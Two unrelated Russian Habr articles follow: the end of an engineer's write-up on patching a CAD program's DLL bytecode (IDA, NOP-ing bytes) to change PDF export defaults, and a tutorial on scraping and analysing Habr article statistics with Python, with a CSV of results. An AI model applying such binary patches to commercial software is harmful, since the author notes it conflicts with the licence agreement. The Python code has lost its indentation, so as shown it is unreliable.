Возвращаясь к `mov rcx+15h, dl`. В байт-коде это выглядит так:
```
88 51 14
```
а чтобы написать `mov rcx+15h, 1`, надо вставить:
```
C7 81 14 00 00 00 01 00 00 00
```
Т.е. надо добавить 14 байт. (Для тех кто знает ассемблер — да-да-да надо использовать другой байт-код, и вообще какого фига я сравниваю х86-64, но это наглядно).
Печаааль. Да и не наблюдалось в названиях ф-ций чего либо напоминающего выбора диапазона печати.
Нет, я забрался слишком… слишком далеко чтобы вот так все бросить. Чтобы впустую слить все затраченное время.
Но что делать дальше? Изучать ассемблер и полностью реверс-инжинирить каждую функцию в этих двух файлах? Нет, долго. Надо было вернуться к началу и пройти правильным путем — запустить мониторинг и посмотреть какие ф-ции вызываются в процессе генерации PDF без заползания в параметры и уже после этого лезть в ассемблерный код.
На просторах интернета была найдена программа [API Monitor v2](http://www.rohitab.com/apimonitor). В качестве "наблюдаемых" файлов были выбраны `imgUtils.dll` и `imgUI.dll`… что ж, лог получился на 233 вызова. Не то чтобы очень мало, но зато у меня был порядок вызова функций.
Описанные выше GetBW\SetBW\GetStartSheet встречались, но ближе к середине, т.е. они были не первыми.
В начале лога мое внимание привлекла ф-ция с названием OptionsXPSExport. Хм… а какого собственно черта, при генерации PDF'а, вызывается ф-ция от *другого* формата? И после нее как раз и начинались разнообразные Get'ы и Set'ы
Открыл в ИДА. Функция оказалась не маленькой, строк на 300 ассемблерного кода. Старый добрый вопрос — что искать? ID кнопок — бессмысленно, оставалось только "400 DPI".
Переводим 400 в 16-ричную систему, получаем `190h`. Поиск…и найдена 1 строка:
*Рисунок 9. Настройки.*
Встает вопрос — как узнать, что именно этот сегмент отвечает за стандартные настройки? Легко! Почему бы не изменить известный параметр и не посмотреть что будет! Ок, `190h` заменено на `96h` (число 150). Запуск САПР>Экспорт в PDF>Параметры и… вместо 400 DPI красовалось 150 DPI. Йухууу! Можно было сделать вывод — место хранения "дефолтных" настроек найдено. Оставалось два вопроса — где именно лежит нужный параметр и как его найти в 300 строках, примерно такого же кода.
Кстати, что это за код? Что за `r12` и `r13`? Ответ нашелся вначале функции:
*Рисунок 10. R2D2.*
В регистр `r12` записывалась единичка, а в `r13` ноль, что ни разу не очевидно, т.к. для этого используется команда xor, а не mov. Разница в том что `xor` делается быстрее чем `mov`, поэтому его и используют когда надо обнулить переменную.
Возвращаясь к коду выше, было очевидно, что по адресу `rbp+330h` записывается 0, а по адресу `32Сh - 1`.
Окей, полдела сделано — появилась возможность изменять значение параметров с вкл (1) на откл (0).
Однако, особых идей где именно находится параметр отвечающий за листы все еще не было. Попытка подключить ИДА к дебаггеру и поймать момент смены того или иного байта "на лету" провалилась, по не известной мне причине — дебаггер отваливался при запуске САПРа. Оставался самый тупой способ — перебор.
Заменил `r13b на r12b` в строке с адресом `[rbp+326h]`, и оказалось, что этот `mov` отвечает за удаление веса линий. А `mov` выше за печать исключенных листов. Набросав простенький проект проверил работает ли это все без открытия параметров экспорта. И да. Проект экспортировался без весов линий. Что еще раз подтвердило — я смотрю в правильный кусок кода.
Потратив несколько дней на игры с заменой 1 и 0, появилось ощущение нового тупика. Замена оставшихся значений не приводило к сколько-нибудь заметному результату — галочки в параметрах не ставились, а иногда приложение просто крашилось. Стоит отметить — параметров было много и после замены каждого проверять САПР было долго, по этому я менял 10-20 значений и смотрел изменилось ли что-нибудь.
В один из вечеров я смотрел на приведенный выше код и думал — "да чтож с тобой не так? почему 5 из 7 параметров находятся здесь?" К слову, строка `0FFFFFFh` отвечала за "До", а строка ниже за "От".
Абсолютно логично — все настройки отвечающие за параметры сгруппированы в одном месте и `mov rpb+314, r12` должен отвечать как раз за выбор диапазона печати. Но там не 0, там 1! Помните я говорил про индусов? О том, что не для всех первый элемент массива кнопок является нулевым. Тогда логично, что моя замена 1 на 0 ничего не показала. Окей, нет ничего проще — меняем `mov rpb+314 r12` на `mov rpb+314 r13` и… барабанная дробь… при входе в параметры ни один из пунктов меню "диапазон печати" выбран не был!
Да, это та самая строка, тот самый кусок кода который я искал на протяжении недели. Гребаные 14 байт.
Оставалось лишь изменить значение на правильное и можно открывать шампанское. Итак 0 — не выбрано ничего, 1 — первый пункт, продолжая ряд выходило что нужно прописать 2.
Тут появлялась старая, добрая проблема — `mov rpb+314 r12` занимало меньше байт чем `mov rpb+314 00002h`
На счастье, парой строк выше можно заметить вот такой кусок кода:
*Рисунок 11. Е2Е4.*
Т.е. в регистр `eax` ложится двойка, а команда `mov rpb+314 eax` занимает на один байт меньше чем `mov rpb+314 r12`!
| Ассемблер | Байт-код |
| --- | --- |
| mov rpb+314, r12 | 44 89 A5 14 03 00 00 |
| mov rpb+314, eax | 89 85 0C 03 00 00 |
Вопрос — что делать с этим байтом? Оставить как есть нельзя. Но, на счастье из родного Политеха я смог вынести несколько сакральных знаний:
* Как работает реле (что позволило найти инженерную работу)
* Всегда заземляйся (если вы понимаете о чем я)
* Ассемблерный nop — просто пропуск команды
* Шаверму перед парами…. кхм, впрочем к делу это не относится.
Очевидное решение — заNOPать, т.к. в байт-коде команда NOP это "90".
Запуск САПР и… да, это оно. Файл конвертируется в многостраничный PDF. А окно параметров открывается по умолчанию так:
*Рисунок 11. Окно настроек PDF.*
### 7.Заключение
> *We've come too far to give up who we are
>
> So let's raise the bar and our cups to the stars*
>
> [Daft Punk — Get Lucky](https://youtu.be/5NV6Rdv1a3I)
Ответ на вопрос, заданный в начале статьи, найден. Путь был тернист и заставил пошевелить мозгами, вспомнить университетский курс программирования и узнать много нового. За рамками осталось несколько "тупиковых веток", вида JMP'нуть в кусок кода, изменить регистры и прыгнуть назад, или попытки найти исходники, но вряд ли это кому-то интересно.
Немного обидно, что эти знания никогда не уйдут в "продакшн", а инженеры продолжат страдать из-за пары программистов, но C’est La Vie, таков лицензионный договор.
Надеюсь, эта заметка сможет вдохновить кого-нибудь на совершенствование рабочих инструментов, даже если вы инженер-проектировщик и весьма далеки от реверс-инжиниринга. | https://habr.com/ru/post/515876/ | null | ru | null |
# Жизненный цикл статьи на Хабре: пишем хабрапарсер. Часть вторая
Привет Хабр!
В [первой части](https://habr.com/ru/post/440366/) пятничного анализа была рассмотрена методика сбора некоторой статистики этого замечательного сайта. Изначально не было плана делать продолжение, но в комментариях возникли интересные мысли, которые захотелось проверить. Например, какие статьи имеют больше просмотров, опубликованные в будние или в выходные дни?
Попробуем ответить на этот и другие вопросы, также опубликуем свой чисто научный статистический мини-рейтинг. Как и в первой части, для сбора статистики воспользуемся Python, Pandas и Matplotlib.
Для тех кому интересно что получилось, продолжение под катом.
Сбор данных
-----------
В этот раз мы попробуем собрать статистику просмотров статей по времени, а также проанализируем не только рейтинги, но и количество лайков и дизлайков. Для начала нам нужны исходные данные — получим список статей.
Что мы имеем? Разумеется, никакой «инсайдерской» информации у нас нет, будем брать данные «из открытых источников». Когда пользователь заходит на главную страницу, ему доступен список из 50 страниц [page1](https://habr.com/ru/all/page1/) — [page50](https://habr.com/ru/all/page50/). Все это мы и проанализируем.
Можно было бы вручную выделять фрагменты тегов из строки, как в предыдущей части, но для разнообразия воспользуемся готовой библиотекой **BeautifulSoup**. Она предоставляет доступ к DOM-модели веб-страницы и отдельным компонентам, т.е. то, что нам и нужно.
Как и в предыдущем случае, смотрим внимательно на исходный код страницы, и обнаруживаем что статьи хранятся в блоке «article», время публикации хранится в элементе класса «post\_\_time», а параметры статей хранятся в блоке «footer» (пользуясь случаем, выражаю респект программистам сайта за логичную и понятную структуру всех данных:).
Код парсинга одной страницы выглядит так (некоторые недостающие функции, например get\_as\_str для получения python-строки из URL, описаны в первой части):
```
locale.setlocale(locale.LC_TIME, 'ru_RU.UTF-8')
def get_page_data(page_link):
data_html = get_as_str(page_link)
soup = BeautifulSoup(data_html, 'html.parser')
values = []
articles = soup.findAll('article', attrs={'class':'post post_preview'})
for a in articles:
t = a.find("span", {"class": "post__time"})
date = str_to_date(t.text)
views, votes, votes_up, votes_down, comments, link = 0, 0, 0, 0, 0, ""
link = a.find("a", {"class": "btn btn_x-large btn_outline_blue post__habracut-btn"})
# Remove #habracut from link
link_url = link['href'].split('#')[0]
footer = a.find("footer", {"class": "post__footer"})
spans = footer.findAll('span')
for sp in spans:
value = Str(str_to_ascii(sp.text)).to_int()
if sp['class'][0] == 'post-stats__views-count':
views = value
if sp['class'][0] == 'voting-wjt__counter':
votes = value
html = Str(sp)
# 'title="Общий рейтинг 12: ↑11 и ↓1">+10 19, 3
votes_up = html.find_between('↑', ' ')
votes_down = html.find_between('↓', '"')
if sp['class'][0] == 'post-stats__comments-count':
comments = value
date_str = date.strftime("%Y-%m-%dT%H:%M:%S.000")
print "{},{},views:{},votes:{},up:{},down:{},comments:{}".format(date_str, link_url, views, votes, votes_up, votes_down, comments)
values.append([date, views, votes, comments])
return values
```
Как можно видеть, все довольно просто. Мы получаем список статей на странице, для каждой статьи имеем время публикации, количество просмотров, рейтинг, количество лайков и дизлайков. Вполне достаточно для анализа.
Но это еще не все. Время публикации статьи может храниться в виде даты и времени («3 февраля 2019 в 18:27»), либо в виде «вчера в 23:25» или «сегодня в 22:46». Нужно преобразовать такие строки в обычный datetime:
```
def str_to_date(s):
s_ = s.lower().encode('utf8')
str_date = ""
d = None
if "сегодня в" in s_:
# 'сегодня в 10:13' => 2019-02-18T10:13:00.000
date = datetime.datetime.now()
time = datetime.datetime.strptime(s_.replace('сегодня в ', ''), '%H:%M')
d = date.replace(hour=time.hour,minute=time.minute,second=0,microsecond=0)
elif "вчера в" in s_:
# 'вчера в 10:13' => 2019-02-17T10:13:00.000
date = datetime.datetime.now() - datetime.timedelta(days=1)
time = datetime.datetime.strptime(s_.replace('вчера в ', ''), '%H:%M')
d = date.replace(hour=time.hour,minute=time.minute,second=0,microsecond=0)
else:
# '14 февраля 2019 в 15:51' => 2019-02-14T10:15:51.000
d = datetime.datetime.strptime(s_, '%d %B %Y в %H:%M')
return d
```
Если все было сделано правильно, на выходе должен быть примерно такой лог:
Анализ данных
-------------
Сначала загрузим все данные в dataframe и добавим программно-сформированные колонки для views/count, views/comments и разного представления даты и времени.
```
def to_int(s):
# "bookmarks:22" => 22
num = ''.join(i for i in s if i.isdigit())
return int(num)
def to_hour(dt):
return int(dt.strftime("%H"))
def to_dayofweek(dt):
return dt.weekday()
def to_dayofweekstr(dt):
return calendar.day_name[dt.weekday()]
df = pd.read_csv(log_path, header=None, names=['datetime', 'link', 'views', 'votes', 'up', 'down', 'comments'])
dates = pd.to_datetime(df['datetime'], format='%Y-%m-%dT%H:%M:%S.%f')
day_names = dates.map(to_dayofweekstr, na_action=None)
days = dates.map(to_dayofweek, na_action=None)
hour = dates.map(to_hour, na_action=None)
views = df["views"].map(to_int, na_action=None)
votes = df["votes"].map(to_int, na_action=None)
votes_up = df["up"].map(to_int, na_action=None)
votes_down = df["down"].map(to_int, na_action=None)
comments = df["comments"].map(to_int, na_action=None)
df['datetime'] = dates
df['day'] = days
df['dayofweek'] = day_names
df['hour'] = hour
df['views'] = views
df['votes'] = votes
df['up'] = votes_up
df['down'] = votes_down
df['votesperview'] = votes/views
df['commentsperview'] = comments/views
df['votesratio'] = votes_up/votes_down
df['comments'] = comments
print("Dataframe:")
print(df.head())
print()
```
Мы сформировали dataframe, и получили все данные в численном, удобном для анализа формате.
Lets get started!
### Зависимость числа просмотров от даты и времени публикации
Для начала, убедимся что данные загружены, и просто выведем все что есть:
```
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
from matplotlib.ticker import FormatStrFormatter
plt.rcParams["figure.figsize"] = (12, 5)
fig, ax = plt.subplots()
plt.plot(dates, views, 'bo', markersize=1, label='Views')
ax.xaxis.set_major_formatter(mdates.DateFormatter("%d-%m-%Y"))
ax.xaxis.set_major_locator(mdates.DayLocator())
fig.autofmt_xdate()
plt.ylim(bottom=0)
plt.legend(loc='best')
plt.tight_layout()
plt.show()
```
Мы получаем распределение времени публикации всех статей за этот месяц:
Сразу видно наличие суточного периода: логично, что большинство публикаций приходится на день или вечер, в 5 утра выкладывать статью мало кто будет. Все же для интереса, посмотрим гистограмму распределения по часам:
```
ax.hist(hour, bins=range(25), color="skyblue", rwidth=0.9, label='Publication time')
ax.set_xticks(range(24))
ax.xaxis.set_major_formatter(FormatStrFormatter('%d:00'))
plt.xticks(rotation=45)
```
В принципе, ничего неожиданного, хотя кто-то в 5 утра публикации все же выкладывает :) (ну и не забываем про часовые пояса):
Посмотрим, зависит ли **количество просмотров** от времени публикации: для этого сгруппируем все строки по полю «час» и вычислим среднее по каждому часу. Можно предположить например, что основная масса посетителей читает статьи вечером, значит статьи, выкладываемые в это время, наберут больше просмотров. Проверим.
```
g = df.groupby(['hour'])
grouped = g.median().reset_index()
view_hours = grouped['hour'].values
view_hours_avg = grouped['views'].values
plt.plot(view_hours, view_hours_avg, label='Avg.view/hour')
```
Результат… немного удивляет. Видим большой пик для статей, выкладываемых в 3 часа ночи:
Однако забавно, посмотрим что же это за статьи такие — выведем все, для которых поле hour = 3:
```
h3 = df[df['hour'] == 3]
print(h3[['datetime', 'link', 'views']])
```
Получаем 6 штук, и почти все из них действительно имеют большое число просмотров:
2019-02-14 03:05:00 [habr.com/ru/post/440250](https://habr.com/ru/post/440250/) — 39100 просмотров
2019-02-11 03:35:00 [habr.com/ru/post/439690](https://habr.com/ru/post/439690/) — 12700 просмотров
2019-02-09 03:59:00 [habr.com/ru/post/438828](https://habr.com/ru/post/438828/) — 4500 просмотров
2019-02-09 03:33:00 [habr.com/ru/post/439600](https://habr.com/ru/post/439600/) — 61100 просмотров
2019-02-05 03:05:00 [habr.com/ru/post/438750](https://habr.com/ru/post/438750/) — 32600 просмотров
2019-02-03 03:13:00 [habr.com/ru/post/438604](https://habr.com/ru/post/438604/) — 2100 просмотров
Делаю предположение, что все они принадлежат одному автору, и оказываюсь неправ. В общем, странно, но факт — в 3 часа ночи публикуется мало статей, но почти все из них хорошие.
Интересно еще и то, как много статей выкладывается в рабочее время. Мне казалось, что для большинства авторов это все же хобби а не работа, но видимо тут я был неправ.
Теперь посмотрим зависимость количества просмотров от дня недели публикации. Сгруппируем данные по этому параметру.
```
g = df.groupby(['day', 'dayofweek'])
grouped = g.median().reset_index()
grouped.sort_values('day', ascending=False)
view_days = grouped['day'].values
view_per_day = grouped['views'].values
days_of_week = grouped['dayofweek'].values
plt.plot(view_days, view_per_day, label='Avg.view/day')
plt.xticks(view_days, days_of_week)
```
Результат имхо предсказуем: статьи, выложенные к концу недели в среднем набирают больше просмотров, видимо т.к. у читателей больше свободного времени:
Самый «плохой» день, однако, вторник, статьи выложенные во вторник, получают меньше всего просмотров.
### Стат-рейтинг
Однако, мы не зря сохраняли не только число просмотров, но и количество лайков и дизлайков. С их помощью можно построить свой мини-рейтинг.
Например, выведем топ-5 статей с рейтингом больше 50 и **максимальным значением views/votes**:
```
df_filtered = df[df['votes'] >= 50]
print(df_filtered.sort_values('votesperview', ascending=False)[:5])
```
Результат:
[habr.com/ru/company/mailru/blog/439514](https://habr.com/ru/company/mailru/blog/439514/) 2300 просмотров, рейтинг 55
[habr.com/ru/company/mailru/blog/438392](https://habr.com/ru/company/mailru/blog/438392/) 4400 просмотров, рейтинг 63
[habr.com/ru/company/lanit/blog/438774](https://habr.com/ru/company/lanit/blog/438774/) 5000 просмотров, рейтинг 57
[habr.com/ru/company/mailru/blog/438562](https://habr.com/ru/company/mailru/blog/438562/) 5000 просмотров, рейтинг 55
[habr.com/ru/company/badoo/blog/439972](https://habr.com/ru/company/badoo/blog/439972/) 6800 просмотров, рейтинг 72
Неожиданно, что весь топ занят корпоративными блогами, всегда казалось что корпоративные блоги это скучная рекламная мутотень типа «посмотрите на наш новый смартфон», которую публикуют только потому что «надо». Оказалось, был неправ. Кстати, на первом месте топа — mail.ru. Можно вывести, какие статьи публиковала эта компания, оставлю это читателям в качестве домашнего задания.
Идем дальше. Выведем **самые спорные статьи** — те, у которых и число лайков, и число дизлайков больше 30.
```
df_votes = df[(df['up'] > 30) & (df['down'] > 30)]
print(df_votes.sort_values('votesratio', ascending=True)[:5])
```
Таких оказалось всего 4:
[habr.com/ru/post/440634](https://habr.com/ru/post/440634/) 22100 просмотров, 41 лайков, 35 дизлайков
[habr.com/ru/post/438888](https://habr.com/ru/post/438888/) 73500 просмотров 122 лайков 70 дизлайков
[habr.com/ru/post/438650](https://habr.com/ru/post/438650/) 82300 просмотров 72 лайков 35 дизлайков
[habr.com/ru/post/439856](https://habr.com/ru/post/439856/) 64400 просмотров 179 лайков 37 дизлайков
В завершение, выведем топ-5 самых комментируемых статей и (сомнительный по славе) топ-5 с наибольшим числом дизлайков:
```
print(df.sort_values('comments', ascending=False)[:5])
print(df.sort_values('down', ascending=False)[:5])
```
**Самые комментируемые статьи**:
[habr.com/ru/post/438650](https://habr.com/ru/post/438650/) — 1356 комментариев
[habr.com/ru/post/439600](https://habr.com/ru/post/439600/) — 983 комментария
[habr.com/ru/post/438888](https://habr.com/ru/post/438888/) — 873 комментария
[habr.com/ru/post/438854](https://habr.com/ru/post/438854/) — 641 комментарий
[habr.com/ru/post/438514](https://habr.com/ru/post/438514/) — 577 комментарий
**Статьи с наибольшим числом дизлайков**:
[habr.com/ru/post/440638](https://habr.com/ru/post/440638/) — 74 дизлайка
[habr.com/ru/post/438888](https://habr.com/ru/post/438888/) — 70 дизлайков
[habr.com/ru/post/440358](https://habr.com/ru/post/440358/) — 67 дизлайков
[habr.com/ru/post/440640](https://habr.com/ru/post/440640/) — 63 дизлайка
[habr.com/ru/post/438692](https://habr.com/ru/post/438692/) — 46 дизлайков
Заключение
----------
Как можно видеть, статистика и data science — вполне интересное хобби. Даже на небольших датасетах можно получать вполне интересные данные для анализа. Желающие могут продолжить самостоятельно, что-то я возможно упустил.
Разумеется, выборка все же небольшая, и некоторые результаты могут быть спорными. Что есть то есть, количество анализируемых статей ограничено тем, что доступно на сайте.
Желающие попробовать самостоятельно, могут скачать csv под спойлером.
**CSV**2019-02-19T16:26:00.000,https://habr.com/ru/post/440898/,views:4,votes:0,up:0,down:0,comments:0
2019-02-19T16:21:00.000,https://habr.com/ru/post/440870/,views:76,votes:0,up:0,down:0,comments:0
2019-02-19T16:02:00.000,https://habr.com/ru/company/badoo/blog/440720/,views:138,votes:6,up:6,down:0,comments:0
2019-02-19T15:56:00.000,https://habr.com/ru/post/440890/,views:521,votes:7,up:1,down:8,comments:16
2019-02-19T15:56:00.000,https://habr.com/ru/company/jugru/blog/440772/,views:278,votes:3,up:3,down:0,comments:0
2019-02-19T15:55:00.000,https://habr.com/ru/post/439574/,views:119,votes:1,up:1,down:0,comments:0
2019-02-19T15:44:00.000,https://habr.com/ru/company/abbyy/blog/440310/,views:224,votes:5,up:5,down:0,comments:1
2019-02-19T15:37:00.000,https://habr.com/ru/post/440882/,views:467,votes:4,up:4,down:0,comments:1
2019-02-19T15:35:00.000,https://habr.com/ru/post/440878/,views:166,votes:0,up:0,down:0,comments:0
2019-02-19T15:27:00.000,https://habr.com/ru/post/440874/,views:282,votes:6,up:6,down:0,comments:0
2019-02-19T14:56:00.000,https://habr.com/ru/post/440286/,views:505,votes:10,up:10,down:0,comments:1
2019-02-19T14:11:00.000,https://habr.com/ru/post/440866/,views:938,votes:9,up:9,down:0,comments:10
2019-02-19T14:09:00.000,https://habr.com/ru/post/440472/,views:361,votes:9,up:9,down:0,comments:0
2019-02-19T13:52:00.000,https://habr.com/ru/company/digdes/blog/440864/,views:793,votes:8,up:8,down:0,comments:6
2019-02-19T13:50:00.000,https://habr.com/ru/company/otus/blog/440862/,views:824,votes:3,up:5,down:2,comments:0
2019-02-19T13:41:00.000,https://habr.com/ru/post/440854/,views:2000,votes:13,up:13,down:0,comments:13
2019-02-19T13:34:00.000,https://habr.com/ru/post/440744/,views:1200,votes:16,up:19,down:3,comments:10
2019-02-19T13:22:00.000,https://habr.com/ru/post/440858/,views:2000,votes:16,up:17,down:1,comments:8
2019-02-19T13:14:00.000,https://habr.com/ru/company/qualcomm\_russia/blog/440832/,views:1300,votes:6,up:7,down:1,comments:5
2019-02-19T13:06:00.000,https://habr.com/ru/company/englishdom/blog/440850/,views:1400,votes:10,up:11,down:1,comments:4
2019-02-19T13:01:00.000,https://habr.com/ru/post/440848/,views:2600,votes:23,up:4,down:27,comments:32
2019-02-19T13:00:00.000,https://habr.com/ru/company/ruvds/blog/439984/,views:331,votes:16,up:16,down:0,comments:0
2019-02-19T12:42:00.000,https://habr.com/ru/post/440846/,views:1200,votes:21,up:22,down:1,comments:11
2019-02-19T12:35:00.000,https://habr.com/ru/company/piter/blog/440842/,views:830,votes:11,up:11,down:0,comments:0
2019-02-19T12:12:00.000,https://habr.com/ru/company/it\_people/blog/440834/,views:160,votes:11,up:11,down:0,comments:0
2019-02-19T12:11:00.000,https://habr.com/ru/company/skillbox/blog/440836/,views:2700,votes:16,up:26,down:10,comments:26
2019-02-19T12:09:00.000,https://habr.com/ru/post/440802/,views:1000,votes:15,up:15,down:0,comments:3
2019-02-19T12:08:00.000,https://habr.com/ru/post/440838/,views:2500,votes:33,up:34,down:1,comments:8
2019-02-19T12:00:00.000,https://habr.com/ru/company/ruvds/blog/440656/,views:1200,votes:21,up:24,down:3,comments:3
2019-02-19T11:52:00.000,https://habr.com/ru/post/440592/,views:626,votes:11,up:11,down:0,comments:0
2019-02-19T11:50:00.000,https://habr.com/ru/post/440732/,views:1600,votes:14,up:14,down:0,comments:0
2019-02-19T11:46:00.000,https://habr.com/ru/post/440830/,views:2500,votes:26,up:26,down:0,comments:6
2019-02-19T11:38:00.000,https://habr.com/ru/company/mailru/blog/440778/,views:306,votes:24,up:24,down:0,comments:0
2019-02-19T11:27:00.000,https://habr.com/ru/company/pixonic/blog/440192/,views:3100,votes:28,up:33,down:5,comments:10
2019-02-19T11:21:00.000,https://habr.com/ru/company/crosstech/blog/440824/,views:1100,votes:9,up:10,down:1,comments:0
2019-02-19T11:18:00.000,https://habr.com/ru/post/440156/,views:1100,votes:13,up:14,down:1,comments:12
2019-02-19T11:09:00.000,https://habr.com/ru/company/flant/blog/440810/,views:3900,votes:19,up:20,down:1,comments:4
2019-02-19T11:01:00.000,https://habr.com/ru/company/lanit/blog/440422/,views:520,votes:14,up:14,down:0,comments:2
2019-02-19T11:01:00.000,https://habr.com/ru/company/dodopizzaio/blog/440676/,views:2200,votes:21,up:24,down:3,comments:11
2019-02-19T11:00:00.000,https://habr.com/ru/company/funcorp/blog/440698/,views:1700,votes:19,up:19,down:0,comments:0
2019-02-19T10:59:00.000,https://habr.com/ru/company/odnoklassniki/blog/439552/,views:3300,votes:25,up:25,down:0,comments:5
2019-02-19T10:42:00.000,https://habr.com/ru/company/dins/blog/440458/,views:454,votes:10,up:10,down:0,comments:0
2019-02-19T10:37:00.000,https://habr.com/ru/post/440818/,views:561,votes:9,up:9,down:0,comments:1
2019-02-19T10:34:00.000,https://habr.com/ru/post/440816/,views:3300,votes:14,up:16,down:2,comments:9
2019-02-19T10:33:00.000,https://habr.com/ru/company/oleg-bunin/blog/440814/,views:1900,votes:24,up:24,down:0,comments:4
2019-02-19T10:23:00.000,https://habr.com/ru/company/top3dshop/blog/440630/,views:527,votes:12,up:12,down:0,comments:0
2019-02-19T10:10:00.000,https://habr.com/ru/company/dsec/blog/440170/,views:609,votes:10,up:12,down:2,comments:2
2019-02-19T10:03:00.000,https://habr.com/ru/company/roseltorg/blog/440768/,views:3000,votes:26,up:29,down:3,comments:12
2019-02-19T10:00:00.000,https://habr.com/ru/post/440748/,views:5300,votes:6,up:11,down:5,comments:15
2019-02-19T10:00:00.000,https://habr.com/ru/company/microsoft/blog/440526/,views:2400,votes:9,up:11,down:2,comments:4
2019-02-19T09:39:00.000,https://habr.com/ru/post/440034/,views:1500,votes:8,up:14,down:6,comments:20
2019-02-19T09:36:00.000,https://habr.com/ru/post/440786/,views:4300,votes:27,up:30,down:3,comments:5
2019-02-19T09:26:00.000,https://habr.com/ru/post/439738/,views:2200,votes:8,up:8,down:0,comments:10
2019-02-19T08:54:00.000,https://habr.com/ru/post/440652/,views:14200,votes:108,up:108,down:0,comments:41
2019-02-19T08:44:00.000,https://habr.com/ru/company/codefest/blog/440806/,views:796,votes:17,up:17,down:0,comments:0
2019-02-19T07:49:00.000,https://habr.com/ru/post/440792/,views:381,votes:10,up:10,down:0,comments:0
2019-02-19T07:43:00.000,https://habr.com/ru/post/440788/,views:901,votes:11,up:12,down:1,comments:2
2019-02-19T07:11:00.000,https://habr.com/ru/post/440400/,views:1900,votes:7,up:8,down:1,comments:2
2019-02-19T05:27:00.000,https://habr.com/ru/post/440500/,views:2600,votes:13,up:20,down:7,comments:4
2019-02-19T00:30:00.000,https://habr.com/ru/post/440804/,views:2100,votes:13,up:18,down:5,comments:10
2019-02-19T00:14:00.000,https://habr.com/ru/company/jetinfosystems/blog/440800/,views:16000,votes:35,up:39,down:4,comments:18
2019-02-18T23:52:00.000,https://habr.com/ru/post/440784/,views:5900,votes:8,up:16,down:8,comments:30
2019-02-18T22:49:00.000,https://habr.com/ru/company/ua-hosting/blog/440794/,views:900,votes:9,up:10,down:1,comments:4
2019-02-18T22:14:00.000,https://habr.com/ru/company/pult/blog/440790/,views:2800,votes:16,up:16,down:0,comments:13
2019-02-18T21:27:00.000,https://habr.com/ru/post/440780/,views:7100,votes:23,up:25,down:2,comments:23
2019-02-18T20:53:00.000,https://habr.com/ru/post/440184/,views:2700,votes:13,up:17,down:4,comments:14
2019-02-18T19:40:00.000,https://habr.com/ru/post/440774/,views:19600,votes:46,up:50,down:4,comments:60
2019-02-18T19:38:00.000,https://habr.com/ru/post/440776/,views:4100,votes:4,up:17,down:13,comments:12
2019-02-18T18:39:00.000,https://habr.com/ru/company/madrobots/blog/440766/,views:13600,votes:12,up:31,down:19,comments:29
2019-02-18T18:36:00.000,https://habr.com/ru/post/440760/,views:11100,votes:39,up:39,down:0,comments:10
2019-02-18T18:21:00.000,https://habr.com/ru/post/440632/,views:2700,votes:20,up:20,down:0,comments:13
2019-02-18T18:19:00.000,https://habr.com/ru/post/439116/,views:22000,votes:62,up:64,down:2,comments:121
2019-02-18T18:11:00.000,https://habr.com/ru/company/otus/blog/440740/,views:358,votes:10,up:11,down:1,comments:0
2019-02-18T18:11:00.000,https://habr.com/ru/post/437778/,views:66200,votes:181,up:181,down:0,comments:119
2019-02-18T17:53:00.000,https://habr.com/ru/post/440752/,views:993,votes:16,up:16,down:0,comments:0
2019-02-18T17:47:00.000,https://habr.com/ru/post/440762/,views:7500,votes:8,up:28,down:20,comments:57
2019-02-18T17:31:00.000,https://habr.com/ru/company/southbridge/blog/440756/,views:2000,votes:12,up:13,down:1,comments:4
2019-02-18T17:25:00.000,https://habr.com/ru/post/440754/,views:2700,votes:19,up:20,down:1,comments:27
2019-02-18T17:16:00.000,https://habr.com/ru/company/okko/blog/439180/,views:1400,votes:10,up:10,down:0,comments:2
2019-02-18T16:49:00.000,https://habr.com/ru/company/psb/blog/440680/,views:927,votes:7,up:9,down:2,comments:0
2019-02-18T16:18:00.000,https://habr.com/ru/post/440742/,views:2500,votes:12,up:14,down:2,comments:4
2019-02-18T15:52:00.000,https://habr.com/ru/post/440734/,views:1100,votes:9,up:10,down:1,comments:2
2019-02-18T14:44:00.000,https://habr.com/ru/post/440724/,views:14900,votes:35,up:41,down:6,comments:8
2019-02-18T14:13:00.000,https://habr.com/ru/post/439968/,views:5700,votes:24,up:27,down:3,comments:10
2019-02-18T14:03:00.000,https://habr.com/ru/post/440718/,views:2600,votes:24,up:29,down:5,comments:18
2019-02-18T13:58:00.000,https://habr.com/ru/post/440714/,views:4200,votes:21,up:7,down:28,comments:61
2019-02-18T13:49:00.000,https://habr.com/ru/company/fujitsu/blog/440468/,views:3000,votes:16,up:19,down:3,comments:2
2019-02-18T13:09:00.000,https://habr.com/ru/company/otus/blog/440708/,views:739,votes:14,up:17,down:3,comments:0
2019-02-18T13:05:00.000,https://habr.com/ru/company/oleg-bunin/blog/440706/,views:3300,votes:45,up:46,down:1,comments:8
2019-02-18T13:05:00.000,https://habr.com/ru/company/ruvds/blog/440654/,views:7700,votes:28,up:38,down:10,comments:9
2019-02-18T12:52:00.000,https://habr.com/ru/post/436408/,views:4200,votes:35,up:36,down:1,comments:8
2019-02-18T12:51:00.000,https://habr.com/ru/post/440700/,views:2700,votes:25,up:26,down:1,comments:5
2019-02-18T12:44:00.000,https://habr.com/ru/company/dcmiran/blog/439864/,views:2600,votes:20,up:22,down:2,comments:18
2019-02-18T12:23:00.000,https://habr.com/ru/company/haulmont/blog/440696/,views:2100,votes:17,up:20,down:3,comments:8
2019-02-18T12:18:00.000,https://habr.com/ru/company/mailru/blog/440420/,views:898,votes:26,up:27,down:1,comments:0
2019-02-18T12:11:00.000,https://habr.com/ru/company/skyeng/blog/440692/,views:3700,votes:17,up:17,down:0,comments:6
2019-02-18T12:10:00.000,https://habr.com/ru/company/ruvds/blog/440064/,views:3400,votes:28,up:28,down:0,comments:23
2019-02-18T12:09:00.000,https://habr.com/ru/post/440694/,views:1400,votes:19,up:20,down:1,comments:0
2019-02-18T11:45:00.000,https://habr.com/ru/company/plarium/blog/440690/,views:2000,votes:20,up:21,down:1,comments:8
2019-02-18T11:45:00.000,https://habr.com/ru/post/440688/,views:4800,votes:25,up:26,down:1,comments:6
2019-02-18T11:31:00.000,https://habr.com/ru/company/JetBrains/blog/440642/,views:3800,votes:22,up:26,down:4,comments:5
2019-02-18T11:30:00.000,https://habr.com/ru/company/sibur\_official/blog/440682/,views:20100,votes:96,up:100,down:4,comments:142
2019-02-18T11:11:00.000,https://habr.com/ru/company/jetinfosystems/blog/440202/,views:5600,votes:32,up:32,down:0,comments:7
